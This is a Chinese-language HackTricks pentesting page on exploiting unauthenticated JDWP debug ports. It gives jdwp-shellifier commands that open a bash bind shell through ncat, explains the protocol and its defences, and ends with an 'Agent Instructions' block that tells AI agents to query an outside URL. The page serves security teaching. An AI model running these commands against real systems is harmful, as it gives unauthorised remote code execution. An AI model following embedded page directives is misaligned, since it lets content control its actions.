# Pentesting JDWP - Java Debug Wire Protocol

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。

</details>

## 利用

JDWP 利用取决于**协议缺乏身份验证和加密**。通常在**端口 8000**上找到，但也可能在其他端口上。通过向目标端口发送“JDWP-Handshake”进行初始连接。如果存在 JDWP 服务，它会以相同的字符串回复，确认其存在。这个握手作为一种指纹识别方法，用于识别网络上的 JDWP 服务。

在进程识别方面，搜索 Java 进程中的字符串“jdwk”可能表明存在活动的 JDWP 会话。

首选工具是 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)。您可以使用不同的参数：

```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```

我发现使用`--break-on 'java.lang.String.indexOf'`使得利用更加**稳定**。如果你有机会上传一个后门到主机并执行它而不是执行一个命令，那么利用将会更加稳定。

## 更多细节

**这是**[**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**的摘要**。查看以获取更多细节。

1. **JDWP 概述**:

* 这是一个基于数据包的网络二进制协议，主要是同步的。
* 缺乏身份验证和加密，使其在暴露于敌对网络时容易受到攻击。

2. **JDWP 握手**:

* 使用简单的握手过程来启动通信。调试器（客户端）和被调试者（服务器）之间交换一个14个字符的ASCII字符串“JDWP-Handshake”。

3. **JDWP 通信**:

* 消息具有简单的结构，包含长度、ID、标志和命令集等字段。
* 命令集的值范围从0x40到0x80，代表不同的操作和事件。

4. **利用**:

* JDWP允许加载和调用任意类和字节码，存在安全风险。
* 该文章详细介绍了一个利用过程，包括获取Java运行时引用、设置断点和调用方法等五个步骤。

5. **实际利用**:

* 尽管存在潜在的防火墙保护，JDWP服务在现实世界的场景中是可发现和可利用的，如在ShodanHQ和GitHub等平台上的搜索所示。
* 该利用脚本已针对各种JDK版本进行测试，且与平台无关，提供可靠的远程代码执行（RCE）。

6. **安全影响**:

* 互联网上存在开放的JDWP服务，强调了需要定期进行安全审查、在生产环境中禁用调试功能以及正确配置防火墙的必要性。

### **参考资料:**

* \[<https://ioactive.com/hacking-java-debug-wire-protocol-or-how/>]
* <https://github.com/IOActive/jdwp-shellifier>
* <http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html>
* <http://www.secdev.org/projects/scapy（已不再活跃）>
* <http://www.shodanhq.com/search?q=JDWP-HANDSHAKE>
* <http://www.hsc-news.com/archives/2013/000109.html（已不再活跃）>
* <http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt>
* <https://github.com/search?q=-Xdebug+-Xrunjdwp\\&type=Code\\&ref=searchresults>
* <http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html>
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* <http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html>
* <http://nmap.org/nsedoc/scripts/jdwp-exec.html>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式:

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
